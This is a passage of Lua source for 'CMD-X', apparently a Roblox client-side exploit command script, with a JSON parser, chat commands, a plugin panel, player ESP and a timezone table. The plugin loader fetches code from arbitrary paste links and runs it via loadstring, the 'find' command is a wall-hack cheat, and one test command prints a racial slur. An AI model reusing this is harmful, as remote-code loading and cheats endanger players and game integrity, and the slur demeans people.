7746 return res, i
7747 end
7748 local function parse_object(str, i)
7749 local res = {}
7750 i = i + 1
7751 while 1 do
7752 local key, val
7753 i = next_char(str, i, space_chars, true)
7754 -- Empty / end of object?
7755 if str:sub(i, i) == "}" then
7756 i = i + 1
7757 break
7758 end
7759 -- Read key
7760 if str:sub(i, i) ~= '"' then
7761 decode_error(str, i, "expected string for key")
7762 end
7763 key, i = parse(str, i)
7764 -- Read ':' delimiter
7765 i = next_char(str, i, space_chars, true)
7766 if str:sub(i, i) ~= ":" then
7767 decode_error(str, i, "expected ':' after key")
7768 end
7769 i = next_char(str, i + 1, space_chars, true)
7770 -- Read value
7771 val, i = parse(str, i)
7772 -- Set
7773 res[key] = val
7774 -- Next token
7775 i = next_char(str, i, space_chars, true)
7776 local chr = str:sub(i, i)
7777 i = i + 1
7778 if chr == "}" then break end
7779 if chr ~= "," then decode_error(str, i, "expected '}' or ','") end
7780 end
7781 return res, i
7782 end
7783 local char_func_map = {
7784 [ '"' ] = parse_string,
7785 [ "0" ] = parse_number,
7786 [ "1" ] = parse_number,
7787 [ "2" ] = parse_number,
7788 [ "3" ] = parse_number,
7789 [ "4" ] = parse_number,
7790 [ "5" ] = parse_number,
7791 [ "6" ] = parse_number,
7792 [ "7" ] = parse_number,
7793 [ "8" ] = parse_number,
7794 [ "9" ] = parse_number,
7795 [ "-" ] = parse_number,
7796 [ "t" ] = parse_literal,
7797 [ "f" ] = parse_literal,
7798 [ "n" ] = parse_literal,
7799 [ "[" ] = parse_array,
7800 [ "{" ] = parse_object,
7801 }
7802 parse = function(str, idx)
7803 local chr = str:sub(idx, idx)
7804 local f = char_func_map[chr]
7805 if f then
7806 return f(str, idx)
7807 end
7808 decode_error(str, idx, "unexpected character '" .. chr .. "'")
7809 end
7810 function json.decode(str)
7811 if type(str) ~= "string" then
7812 error("expected argument of type string, got " .. type(str))
7813 end
7814 local res, idx = parse(str, next_char(str, 1, space_chars, true))
7815 idx = next_char(str, idx, space_chars, true)
7816 if idx <= #str then
7817 decode_error(str, idx, "trailing garbage")
7818 end
7819 return res
7820 end
7821 return json
7822end
7823local json = jsonlua()
7824
7825function useCommand.coronavirus()
7826 if arguments[2] then
7827 local res = game:HttpGet("https://coronavirus-19-api.herokuapp.com/countries/"..arguments[2])
7828 local tbl = json.decode(res)
7829 opx("-","Cases: "..tbl["cases"]..", Deaths: "..tbl["deaths"]..", Recovered: "..tbl["recovered"]..", Active: "..tbl["active"])
7830 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(tbl['country'].."; ".."Cases: ".."uw"..tbl["cases"]..", Deaths: ".."uw"..tbl["deaths"]..", Recovered: ".."uw"..tbl["recovered"]..", Active: ".."uw"..tbl["active"], "All")
7831 else
7832 local res = game:HttpGet("https://coronavirus-19-api.herokuapp.com/all")
7833 local tbl = json.decode(res)
7834 opx("-","Cases: "..tbl["cases"]..", Deaths: "..tbl["deaths"]..", Recovered: "..tbl["recovered"])
7835 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("World; ".."Cases: ".."uw"..tbl["cases"]..", Deaths: ".."uw"..tbl["deaths"]..", Recovered: ".."uw"..tbl["recovered"], "All")
7836 end
7837end
7838
7839function useCommand.joindateprivate()
7840 if arguments[2] then
7841 target = findplr(arguments[2])
7842 if target then
7843 local res = game:HttpGet("https://users.roblox.com/v1/users/"..target.UserId)
7844 local tbl = json.decode(res)
7845 local Created = tbl["created"]:split("T")
7846 local Created2 = Created[2]:split(".")
7847 opx("-",target.Name.." joined on: "..Created[1].." "..Created2[1])
7848 else
7849 opx("*","Player does not exist!")
7850 end
7851 else
7852 opx("*","2 arguments are needed for this command!")
7853 end
7854end
7855
7856function useCommand.joindatepublic()
7857 if arguments[2] then
7858 target = findplr(arguments[2])
7859 if target then
7860 local res = game:HttpGet("https://users.roblox.com/v1/users/"..target.UserId)
7861 local tbl = json.decode(res)
7862 local Created = tbl["created"]:split("T")
7863 local Created2 = Created[2]:split(".")
7864 opx("-",target.Name.." joined on: "..Created[1].." "..Created2[1])
7865 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." joined on: "..Created[1].." "..Created2[1], "All")
7866 else
7867 opx("*","Player does not exist!")
7868 end
7869 else
7870 opx("*","2 arguments are needed for this command!")
7871 end
7872end
7873
7874function useCommand.diceprivate()
7875 opx("-","The dice rolled a "..tostring(math.random(1, 6)))
7876end
7877
7878function useCommand.numberpublic()
7879 if arguments[3] then
7880 opx("-","Your random number is ".. tostring(math.random(arguments[2], arguments[3])))
7881 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(game.Players.LocalPlayer.Name.." has picked a random number between "..arguments[2].." and "..arguments[3].." the number is ".. tostring(math.random(arguments[2], arguments[3])), "All")
7882 else
7883 opx("*","You need to pick 2 numbers")
7884 end
7885end
7886
7887function useCommand.numberprivate()
7888 if arguments[3] then
7889 opx("-","Your random number is ".. tostring(math.random(arguments[2], arguments[3])))
7890 else
7891 opx("*","You need to pick 2 numbers")
7892 end
7893end
7894
7895function useCommand.loadcustoms()
7896 opx("-","Scripts you can load were listed")
7897 xPins = #loadCustoms.." | "
7898 for i,v in pairs(loadCustoms) do
7899 xPins = xPins..loadCustoms[i].N..", "
7900 end
7901 opxL("Plugins",xPins)
7902end
7903
7904local HolderOfP = Instance.new("Frame")
7905local PExplain = Instance.new("Frame")
7906local P2 = Instance.new("TextLabel")
7907local P1 = Instance.new("TextLabel")
7908local PText = Instance.new("Frame")
7909local PB = Instance.new("TextButton")
7910local PA = Instance.new("TextButton")
7911local PTextBox = Instance.new("TextBox")
7912local PCopy = Instance.new("TextButton")
7913local PC = Instance.new("TextLabel")
7914local PRemove = Instance.new("Frame")
7915local PPlugin = Instance.new("TextLabel")
7916local PImage3 = Instance.new("ImageButton")
7917local PImage1 = Instance.new("ImageButton")
7918local PImage2 = Instance.new("ImageButton")
7919local PExit = Instance.new("TextButton")
7920local PAliases = Instance.new("TextBox")
7921local PName = Instance.new("TextBox")
7922local PDesc = Instance.new("TextBox")
7923
7924HolderOfP.Name = "HolderOfP"
7925HolderOfP.Parent = Unnamed
7926HolderOfP.BackgroundColor3 = Color3.new(0.0470588, 0.0470588, 0.0470588)
7927HolderOfP.BorderSizePixel = 0
7928HolderOfP.Position = UDim2.new(0.250384033, 0, 0.217444718, 0)
7929HolderOfP.Size = UDim2.new(0, 714, 0, 24)
7930HolderOfP.Draggable = true
7931HolderOfP.Active = true
7932HolderOfP.Visible = false
7933
7934PExplain.Name = "PExplain"
7935PExplain.Parent = HolderOfP
7936PExplain.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
7937PExplain.BorderColor3 = Color3.new(0.0588235, 0.0627451, 0.0705882)
7938PExplain.BorderSizePixel = 0
7939PExplain.Position = UDim2.new(-0.000316262245, 0, 0.996928751, 0)
7940PExplain.Size = UDim2.new(0, 188, 0, 412)
7941
7942P2.Name = "P2"
7943P2.Parent = PExplain
7944P2.BackgroundColor3 = Color3.new(1, 1, 1)
7945P2.BackgroundTransparency = 1
7946P2.Position = UDim2.new(0.0425531901, 0, 0.0194174759, 0)
7947P2.Size = UDim2.new(0, 173, 0, 41)
7948P2.Font = Enum.Font.GothamBold
7949P2.Text = "Plugins and how to use them:"
7950P2.TextColor3 = Color3.new(1, 1, 1)
7951P2.TextSize = 20
7952P2.TextWrapped = true
7953P2.TextYAlignment = Enum.TextYAlignment.Top
7954
7955P1.Name = "P1"
7956P1.Parent = PExplain
7957P1.BackgroundColor3 = Color3.new(1, 1, 1)
7958P1.BackgroundTransparency = 1
7959P1.Position = UDim2.new(0.0425531901, 0, 0.118932039, 0)
7960P1.Size = UDim2.new(0, 173, 0, 357)
7961P1.Font = Enum.Font.Gotham
7962P1.Text = "Type your plugin in the box then press add, once done you can edit/remove it in the Frame below it."
7963P1.TextColor3 = Color3.new(1, 1, 1)
7964P1.TextSize = 14
7965P1.TextWrapped = true
7966P1.TextYAlignment = Enum.TextYAlignment.Top
7967
7968PText.Name = "PText"
7969PText.Parent = HolderOfP
7970PText.BackgroundColor3 = Color3.new(0.0588235, 0.0588235, 0.0588235)
7971PText.BorderColor3 = Color3.new(0.478431, 0.509804, 0.576471)
7972PText.BorderSizePixel = 0
7973PText.Position = UDim2.new(0.263124585, 0, 0.996928751, 0)
7974PText.Size = UDim2.new(0, 526, 0, 412)
7975
7976PB.Name = "PB"
7977PB.Parent = PText
7978PB.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
7979PB.BorderColor3 = Color3.new(0.470588, 0.47451, 0.517647)
7980PB.BorderSizePixel = 0
7981PB.Position = UDim2.new(0.0136517286, 0, 0.864077687, 0)
7982PB.Size = UDim2.new(0, 200, 0, 50)
7983PB.Font = Enum.Font.GothamBold
7984PB.Text = "Add Plugin"
7985PB.TextColor3 = Color3.new(1, 1, 1)
7986PB.TextSize = 14
7987PB.MouseButton1Down:Connect(function()
7988 if PName.Text ~= "" then
7989 loadCustoms[#loadCustoms+1] = {N = PName.Text, File = PTextBox.Text}
7990 updatesaves()
7991 end
7992end)
7993
7994PA.Name = "PA"
7995PA.Parent = PText
7996PA.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
7997PA.BorderColor3 = Color3.new(0.470588, 0.47451, 0.517647)
7998PA.BorderSizePixel = 0
7999PA.Position = UDim2.new(0.60300535, 0, 0.864077687, 0)
8000PA.Size = UDim2.new(0, 200, 0, 50)
8001PA.Font = Enum.Font.GothamBold
8002PA.Text = "Clear Text"
8003PA.TextColor3 = Color3.new(1, 1, 1)
8004PA.TextSize = 14
8005PA.MouseButton1Down:Connect(function()
8006 PTextBox.Text = ""
8007end)
8008
8009PAliases.Name = "PAliases"
8010PAliases.Parent = PText
8011PAliases.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
8012PAliases.BorderColor3 = Color3.new(0.470588, 0.47451, 0.517647)
8013PAliases.BorderSizePixel = 0
8014PAliases.Position = UDim2.new(0.243346006, 0, 0.788834929, 0)
8015PAliases.Size = UDim2.new(0, 183, 0, 22)
8016PAliases.Font = Enum.Font.Code
8017PAliases.PlaceholderText = "Command aliases (OPTIONAL)"
8018PAliases.Text = ""
8019PAliases.TextColor3 = Color3.new(1, 1, 1)
8020PAliases.TextSize = 14
8021PAliases.TextWrapped = true
8022PAliases.TextXAlignment = Enum.TextXAlignment.Left
8023PAliases.ClearTextOnFocus = false
8024
8025PName.Name = "PName"
8026PName.Parent = PText
8027PName.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
8028PName.BorderColor3 = Color3.new(0.470588, 0.47451, 0.517647)
8029PName.BorderSizePixel = 0
8030PName.Position = UDim2.new(0.0114068445, 0, 0.788834929, 0)
8031PName.Size = UDim2.new(0, 114, 0, 22)
8032PName.Font = Enum.Font.Code
8033PName.PlaceholderText = "Command name..."
8034PName.Text = ""
8035PName.TextColor3 = Color3.new(1, 1, 1)
8036PName.TextSize = 14
8037PName.TextWrapped = true
8038PName.TextXAlignment = Enum.TextXAlignment.Left
8039PName.ClearTextOnFocus = false
8040
8041PDesc.Name = "PDesc"
8042PDesc.Parent = PText
8043PDesc.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
8044PDesc.BorderColor3 = Color3.new(0.470588, 0.47451, 0.517647)
8045PDesc.BorderSizePixel = 0
8046PDesc.Position = UDim2.new(0.60266161, 0, 0.788834929, 0)
8047PDesc.Size = UDim2.new(0, 200, 0, 22)
8048PDesc.Font = Enum.Font.Code
8049PDesc.PlaceholderText = "Command description..."
8050PDesc.Text = ""
8051PDesc.TextColor3 = Color3.new(1, 1, 1)
8052PDesc.TextSize = 14
8053PDesc.TextWrapped = true
8054PDesc.TextXAlignment = Enum.TextXAlignment.Left
8055PDesc.ClearTextOnFocus = false
8056
8057PTextBox.Name = "PTextBox"
8058PTextBox.Parent = PText
8059PTextBox.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
8060PTextBox.BorderColor3 = Color3.new(0.470588, 0.47451, 0.517647)
8061PTextBox.BorderSizePixel = 0
8062PTextBox.Position = UDim2.new(0.0133079849, 0, 0.0194174759, 0)
8063PTextBox.Size = UDim2.new(0, 510, 0, 308)
8064PTextBox.Font = Enum.Font.Code
8065PTextBox.PlaceholderText = "Paste raw text link here (EX. pastebin.com/raw/(link))..."
8066PTextBox.Text = ""
8067PTextBox.TextColor3 = Color3.new(1, 1, 1)
8068PTextBox.TextSize = 14
8069PTextBox.TextWrapped = true
8070PTextBox.TextXAlignment = Enum.TextXAlignment.Left
8071PTextBox.TextYAlignment = Enum.TextYAlignment.Top
8072PTextBox.ClearTextOnFocus = false
8073
8074PCopy.Name = "PCopy"
8075PCopy.Parent = PTextBox
8076PCopy.BackgroundColor3 = Color3.new(0.0627451, 0.0627451, 0.0627451)
8077PCopy.BorderSizePixel = 0
8078PCopy.Position = UDim2.new(0.896078408, 0, 0.911764681, 0)
8079PCopy.Size = UDim2.new(0, 47, 0, 23)
8080PCopy.Font = Enum.Font.GothamBold
8081PCopy.Text = "Copy"
8082PCopy.TextColor3 = Color3.new(1, 1, 1)
8083PCopy.TextSize = 14
8084PCopy.MouseButton1Down:Connect(function()
8085 setclipboard(PTextBox.Text)
8086end)
8087
8088PC.Name = "PC"
8089PC.Parent = PText
8090PC.BackgroundColor3 = Color3.new(1, 1, 1)
8091PC.BackgroundTransparency = 1
8092PC.BorderSizePixel = 0
8093PC.Position = UDim2.new(0.406844109, 0, 0.878640771, 0)
8094PC.Size = UDim2.new(0, 97, 0, 38)
8095PC.Font = Enum.Font.GothamBold
8096PC.Text = "CMD-X PLUGINS"
8097PC.TextColor3 = Color3.new(1, 1, 1)
8098PC.TextSize = 12
8099
8100PRemove.Name = "PRemove"
8101PRemove.Parent = HolderOfP
8102PRemove.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
8103PRemove.BorderColor3 = Color3.new(0.0588235, 0.0627451, 0.0705882)
8104PRemove.BorderSizePixel = 0
8105PRemove.Position = UDim2.new(-0.000316262245, 0, 18.1280708, 0)
8106PRemove.Size = UDim2.new(0, 714, 0, 42)
8107
8108PPlugin.Name = "PPlugin"
8109PPlugin.Parent = PRemove
8110PPlugin.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
8111PPlugin.BackgroundTransparency = 0.10000000149012
8112PPlugin.BorderSizePixel = 0
8113PPlugin.Position = UDim2.new(0.273109257, 0, 0.238095239, 0)
8114PPlugin.Size = UDim2.new(0, 379, 0, 21)
8115PPlugin.Font = Enum.Font.GothamBold
8116PPlugin.Text = "Coming soon..."
8117PPlugin.TextColor3 = Color3.new(1, 1, 1)
8118PPlugin.TextSize = 14
8119PPlugin.TextXAlignment = Enum.TextXAlignment.Left
8120
8121PImage3.Name = "PImage3"
8122PImage3.Parent = PRemove
8123PImage3.BackgroundColor3 = Color3.new(1, 1, 1)
8124PImage3.BackgroundTransparency = 1
8125PImage3.BorderSizePixel = 0
8126PImage3.Position = UDim2.new(0.869747937, 0, 0, 0)
8127PImage3.Size = UDim2.new(0, 43, 0, 42)
8128PImage3.Image = "http://www.roblox.com/asset/?id=4673169548"
8129
8130PImage1.Name = "PImage1"
8131PImage1.Parent = PRemove
8132PImage1.BackgroundColor3 = Color3.new(1, 1, 1)
8133PImage1.BackgroundTransparency = 1
8134PImage1.BorderSizePixel = 0
8135PImage1.Position = UDim2.new(0.929972053, 0, 0, 0)
8136PImage1.Size = UDim2.new(0, 43, 0, 42)
8137PImage1.Image = "http://www.roblox.com/asset/?id=23151442"
8138PImage1.ScaleType = Enum.ScaleType.Fit
8139
8140PImage2.Name = "PImage2"
8141PImage2.Parent = PRemove
8142PImage2.BackgroundColor3 = Color3.new(1, 1, 1)
8143PImage2.BackgroundTransparency = 1
8144PImage2.BorderSizePixel = 0
8145PImage2.Position = UDim2.new(0.809523821, 0, 0.166666672, 0)
8146PImage2.Size = UDim2.new(0, 43, 0, 35)
8147PImage2.Image = "http://www.roblox.com/asset/?id=2249727556"
8148PImage2.ScaleType = Enum.ScaleType.Fit
8149
8150PExit.Name = "PExit"
8151PExit.Parent = HolderOfP
8152PExit.BackgroundColor3 = Color3.new(1, 1, 1)
8153PExit.BackgroundTransparency = 1
8154PExit.Position = UDim2.new(0.964985967, 0, 0, 0)
8155PExit.Size = UDim2.new(0, 24, 0, 24)
8156PExit.Font = Enum.Font.GothamBold
8157PExit.Text = "X"
8158PExit.TextColor3 = Color3.new(1, 1, 1)
8159PExit.TextScaled = true
8160PExit.TextSize = 14
8161PExit.TextWrapped = true
8162PExit.MouseButton1Down:Connect(function()
8163 HolderOfP.Visible = false
8164end)
8165
8166function useCommand.loadcustom()
8167 if arguments[2] then
8168 lcNS = arguments[2]
8169 for i,v in pairs(loadCustoms) do
8170 if loadCustoms[i].N == lcNS then
8171 loadstring(game:HttpGet((loadCustoms[i].File),true))()
8172 end
8173 end
8174 else
8175 opx("*","2 arguments are needed for this command!")
8176 end
8177end
8178
8179function Locate(plr)
8180 for i,v in pairs(cmdlp.PlayerGui:GetChildren()) do
8181 if v.Name == plr.Name..'_LC' then
8182 v:Destroy()
8183 end
8184 end
8185 wait()
8186 if plr.Character and plr.Name ~= cmdlp.Name and not cmdlp.PlayerGui:FindFirstChild(plr.Name..'_LC') then
8187 local ESPholder = Instance.new("Folder", cmdlp.PlayerGui)
8188 ESPholder.Name = plr.Name..'_LC'
8189 for b,n in pairs (plr.Character:GetChildren()) do
8190 if n:IsA("BasePart") then
8191 local a = Instance.new("BoxHandleAdornment", ESPholder)
8192 a.Name = plr.Name
8193 a.Adornee = n
8194 a.AlwaysOnTop = true
8195 a.ZIndex = 0
8196 a.Size = n.Size
8197 a.Transparency = 0.8
8198 for i,m in pairs(plr.Character:GetChildren()) do
8199 if m:IsA("Part") or m:IsA("MeshPart") then
8200 if m.Name ~= "HumanoidRootPart" and m.Name ~= "Handle" or (m:IsA("Part")) then
8201 m.Material = "ForceField"
8202 a.Color = m.BrickColor
8203 end
8204 end
8205 end
8206 end
8207 end
8208 if plr.Character and plr.Character:FindFirstChild('Head') then
8209 local BillboardGui = Instance.new("BillboardGui", ESPholder)
8210 local TextLabel = Instance.new("TextLabel")
8211 BillboardGui.Adornee = plr.Character.Head
8212 BillboardGui.Name = plr.Name
8213 BillboardGui.Size = UDim2.new(0, 100, 0, 150)
8214 BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
8215 BillboardGui.AlwaysOnTop = true
8216 TextLabel.Parent = BillboardGui
8217 TextLabel.BackgroundTransparency = 1
8218 TextLabel.Position = UDim2.new(0, 0, 0, -60)
8219 TextLabel.Size = UDim2.new(0, 100, 0, 100)
8220 TextLabel.Font = Enum.Font.SourceSansSemibold
8221 TextLabel.TextSize = 20
8222 TextLabel.TextColor3 = Color3.new(1, 1, 1)
8223 TextLabel.TextStrokeTransparency = 0.6
8224 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
8225 plr.CharacterAdded:Connect(function()
8226 if ESPholder ~= nil and ESPholder.Parent ~= nil then
8227 lcLoopFunc:Disconnect()
8228 ESPholder:Destroy()
8229 repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
8230 Locate(plr)
8231 end
8232 end)
8233 local function lcLoop()
8234 if cmdlp.PlayerGui:FindFirstChild(plr.Name..'_LC') then
8235 if plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') then
8236 TextLabel.Text = plr.Name.."|Studs: ".. math.floor((cmdlp.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude).."|Health: "..plr.Character.Humanoid.Health
8237 end
8238 else
8239 lcLoopFunc:Disconnect()
8240 end
8241 end
8242 lcLoopFunc = game:GetService("RunService").RenderStepped:Connect(lcLoop)
8243 end
8244 end
8245end
8246
8247local autoObby = false
8248function useCommand.autoobby()
8249 opx("-","Now Auto obbying")
8250 autoObby = true
8251 cmdlp.Character.Humanoid.Running:Connect(function(speed)
8252 if speed > 0 and autoObby == true and cmdlp.Character.Humanoid.FloorMaterial == Enum.Material.Air then
8253 cmdlp.Character.Humanoid:ChangeState("Jumping")
8254 end
8255 end)
8256end
8257
8258function useCommand.unautoobby()
8259 opx("-","No longer Auto obbying")
8260 autoObby = false
8261end
8262
8263function useCommand.find()
8264 if arguments[2] then
8265 target = findplr(arguments[2])
8266 if target then
8267 opx("-",target.Name.." is now being found")
8268 Locate(target)
8269 else
8270 opx("*","Player does not exist!")
8271 end
8272 else
8273 opx("*","2 arguments are needed for this command!")
8274 end
8275end
8276
8277function useCommand.unfind()
8278 if arguments[2] then
8279 target = findplr(arguments[2])
8280 if target then
8281 opx("-",target.Name.." is no longer being found")
8282 cmdlp.PlayerGui[target.Name.."_LC"]:Destroy()
8283 for i,m in pairs(target.Character:GetChildren()) do
8284 if m.Name ~= "HumanoidRootPart" and m.Name ~= "Handle" or (m:IsA("Part")) then
8285 m.Material = "Plastic"
8286 end
8287 end
8288 else
8289 opx("*","Player does not exist!")
8290 end
8291 else
8292 opx("*","2 arguments are needed for this command!")
8293 end
8294end
8295
8296function useCommand.clickdelete()
8297 if TextButtonpoo.Visible == false then
8298 TextButtonpoo.Visible = true
8299 opx("-","Click delete loaded")
8300 else
8301 TextButtonpoo.Visible = false
8302 opx("-","Click delete unloaded")
8303 end
8304end
8305
8306cmdp.PlayerAdded:connect(function(plr)
8307 plr.Chatted:connect(function(msg)
8308 if logsEnabled == true then
8309 CreateLabel(plr.Name,msg)
8310 end
8311 end)
8312end)
8313for i,v in pairs(cmdp:GetPlayers()) do
8314 v.Chatted:connect(function(msg)
8315 if logsEnabled == true then
8316 CreateLabel(v.Name,msg)
8317 end
8318 end)
8319end
8320
8321function useCommand.logs()
8322 logsEnabled = true
8323 wLogs = false
8324 pLogs = false
8325 if logsholding.Visible == false then
8326 opx("-","Logs have been loaded")
8327 logsholding.Visible = true
8328 elseif logsholding.Visible == true then
8329 opx("-","Logs have been unloaded")
8330 logsholding.Visible = false
8331 logsEnabled = false
8332 end
8333end
8334
8335function useCommand.test()
8336 opx("-","")
8337end
8338
8339function useCommand.testa()
8340 opx("-","grr fucking baby niggas")
8341 workspace.Baby:Destroy()
8342end
8343
8344function useCommand.time()
8345 function localHour(hour)
8346 local h = "{hour}"
8347 local result = string.gsub(h, "{(%w+)}", hour)
8348 return result
8349 end
8350 local wc = {"afghanistan","albania","algeria","andorra","angola","antiguaandbarbuda","argentinia","armenia","australia","austrianempire","azerbijan","baden","thebahamas","bahrain","bangladesh","barbados","bavaria","belarus","belgium","belize","benin","bolivia","bosniaandherzegovina","botswana","brazil","brunei","brunswickandluneberg","bulgaria","burkinafaso","burma","burundi","caboverde","cambodia","cameroon","canada","thecaymanislands","centralafricanrepublic","centralamericanfederation","chad","chile","china","colombia","comoros","thecongofreestate","costarica","coted'ivoire","croatia","cuba","cyprus","czechia","czechoslovakia","democraticrepublicofcongo","denmark","dijbouti","dominica","dominicanrepublic","theduchyofparma","eastgermany","ecuador","egypt","elsalvador","equatorialguinea","eritrea","estonia","eswatini","ethiopia","federalgovernmentofgermany","fiji","finland","france","gabon","thegambia","georgia","germany","ghana","thegrandduchyoftuscany","greece","grenada","guatemala","guinea","guinea-bissau","guyana","haiti","hanover","hanseaticrepublics","hawaii","hesse","holysee","honduras","hungary","iceland","india","indonesia","iran","iraq","ireland","israel","italy","jamaica","japan","jordan","kazakhstan","kenya","kingdomofserbia","kiribati","korea","kosovo","kuwait","kyrgyzstan","laos","latvia","lebanon","lewchew","liberia","libya","liechtenstein","lithuania","luxembourg","madagascar","malawi","malaysia","maldives","mali","malta","marshall islands","mauritania","mauritius","mecklenburg-schwerin","mecklenberg-strelitz","mexico","micronesia","moldova","monaco","mongolia","montenegro","morocco","mozambique","namibia","nassau","nauru","nepal","thenetherlands","newzealand","nicargua","niger","nigeria","northgermanconfederation","northgermanunion","northmacedonia","norway","oldenburg","oman","orangefreestate","pakistan","palau","panama","papalstates","papuanewguinea","paraguay","peru","philippines","piedmont-sardinia","poland","portugal","qatar","republicofgenoa","republicofkorea","republicofthecongo","romania","russia","rwanda","saintkittsandnevis","saintlucia","saintvincentandthegrenadines","samoa","sanmarino","saotomeandprincipe","saudiarabia","schaumburg-lippe","senegal","serbia","seychelles","sierraleone","singapore","slovakia","slovenia","thesolomonislands","somalia","southafrica","southsudan","spain","srilanka","sudan","suriname","sweden","switzerland","syria","tajikistan","tanzania","texas","thailand","timor-leste","togo","tonga","trinidadandtobago","tunisia","turkey","turkmenistan","tuvalu","twosicilies","uganda","ukraine","unionofsoviertsocialistrepublics","theunitedarabemirates","theunitedkingdom","uruguay","uzbekistan","vanuatu","venezuela","vietnam","wurttemberg","yemen","zambia","zimbabwe"}
8351 local now = os.time()
8352 local malformedHour = localHour(os.date("!*t", now))
8353 arguments[2] = arguments[2]:lower()
8354 if arguments[2] == "a" then
8355 malformedHour = malformedHour+1
8356 elseif arguments[2] == "acdt" then
8357 malformedHour = malformedHour+10
8358 elseif arguments[2] == "acst" then
8359 malformedHour = malformedHour+9
8360 elseif arguments[2] == "act" then
8361 malformedHour = malformedHour-5
8362 elseif arguments[2] == "act2" then
8363 malformedHour = malformedHour+10
8364 elseif arguments[2] == "acwst" then
8365 malformedHour = malformedHour+9
8366 elseif arguments[2] == "adt" then
8367 malformedHour = malformedHour+4
8368 elseif arguments[2] == "adt2" then
8369 malformedHour = malformedHour-3
8370 elseif arguments[2] == "aedt" then
8371 malformedHour = malformedHour+11
8372 elseif arguments[2] == "aest" then
8373 malformedHour = malformedHour+10
8374 elseif arguments[2] == "aet" then
8375 malformedHour = malformedHour+math.random(10,11)
8376 elseif arguments[2] == "aft" then
8377 malformedHour = malformedHour+4
8378 elseif arguments[2] == "akdt" then
8379 malformedHour = malformedHour-8
8380 elseif arguments[2] == "akst" then
8381 malformedHour = malformedHour-9
8382 elseif arguments[2] == "almt" then
8383 malformedHour = malformedHour+6
8384 elseif arguments[2] == "amst" then
8385 malformedHour = malformedHour-3
8386 elseif arguments[2] == "amst2" then
8387 malformedHour = malformedHour+5
8388 elseif arguments[2] == "amt" then
8389 malformedHour = malformedHour-4
8390 elseif arguments[2] == "amt2" then
8391 malformedHour = malformedHour+4
8392 elseif arguments[2] == "anast" then
8393 malformedHour = malformedHour+12
8394 elseif arguments[2] == "anat" then
8395 malformedHour = malformedHour+12
8396 elseif arguments[2] == "aqtt" then
8397 malformedHour = malformedHour+5
8398 elseif arguments[2] == "art" then
8399 malformedHour = malformedHour-3
8400 elseif arguments[2] == "ast" then
8401 malformedHour = malformedHour+3
8402 elseif arguments[2] == "ast2" then
8403 malformedHour = malformedHour-4
8404 elseif arguments[2] == "at" then
8405 malformedHour = malformedHour-math.random(3,4)
8406 elseif arguments[2] == "awdt" then
8407 malformedHour = malformedHour+9
8408 elseif arguments[2] == "awst" then
8409 malformedHour = malformedHour+8
8410 elseif arguments[2] == "azost" then
8411 malformedHour = malformedHour
8412 elseif arguments[2] == "azot" then
8413 malformedHour = malformedHour-1
8414 elseif arguments[2] == "azst" then
8415 malformedHour = malformedHour+5
8416 elseif arguments[2] == "azt" then
8417 malformedHour = malformedHour+4
8418 elseif arguments[2] == "aoe" then
8419 malformedHour = malformedHour-12
8420 elseif arguments[2] == "b" then
8421 malformedHour = malformedHour+2
8422 elseif arguments[2] == "bnt" then
8423 malformedHour = malformedHour+8
8424 elseif arguments[2] == "bot" then
8425 malformedHour = malformedHour-4
8426 elseif arguments[2] == "brst" then
8427 malformedHour = malformedHour-2
8428 elseif arguments[2] == "brt" then
8429 malformedHour = malformedHour-3
8430 elseif arguments[2] == "bst" then
8431 malformedHour = malformedHour+6
8432 elseif arguments[2] == "bst2" then
8433 malformedHour = malformedHour+11
8434 elseif arguments[2] == "bst3" then
8435 malformedHour = malformedHour+1
8436 elseif arguments[2] == "btt" then
8437 malformedHour = malformedHour+6
8438 elseif arguments[2] == "c" then
8439 malformedHour = malformedHour+3
8440 elseif arguments[2] == "cast" then
8441 malformedHour = malformedHour+8
8442 elseif arguments[2] == "cat" then
8443 malformedHour = malformedHour+2
8444 elseif arguments[2] == "cct" then
8445 malformedHour = malformedHour+6
8446 elseif arguments[2] == "cdt" then
8447 malformedHour = malformedHour-5
8448 elseif arguments[2] == "cest" then
8449 malformedHour = malformedHour+2
8450 elseif arguments[2] == "cet" then
8451 malformedHour = malformedHour+1
8452 elseif arguments[2] == "chadt" then
8453 malformedHour = malformedHour+14
8454 elseif arguments[2] == "chast" then
8455 malformedHour = malformedHour+13
8456 elseif arguments[2] == "chost" then
8457 malformedHour = malformedHour+9
8458 elseif arguments[2] == "chot" then
8459 malformedHour = malformedHour+8
8460 elseif arguments[2] == "chut" then
8461 malformedHour = malformedHour+10
8462 elseif arguments[2] == "cidst" then
8463 malformedHour = malformedHour-4
8464 elseif arguments[2] == "cist" then
8465 malformedHour = malformedHour-5
8466 elseif arguments[2] == "ckt" then
8467 malformedHour = malformedHour-10
8468 elseif arguments[2] == "clst" then
8469 malformedHour = malformedHour-3
8470 elseif arguments[2] == "clt" then
8471 malformedHour = malformedHour-4
8472 elseif arguments[2] == "cot" then
8473 malformedHour = malformedHour-5
8474 elseif arguments[2] == "cst" then
8475 malformedHour = malformedHour-6
8476 elseif arguments[2] == "cst2" then
8477 malformedHour = malformedHour+8
8478 elseif arguments[2] == "cst3" then
8479 malformedHour = malformedHour-5
8480 elseif arguments[2] == "ct" then
8481 malformedHour = malformedHour-math.random(5,6)
8482 elseif arguments[2] == "cvt" then
8483 malformedHour = malformedHour-1
8484 elseif arguments[2] == "cxt" then
8485 malformedHour = malformedHour+7
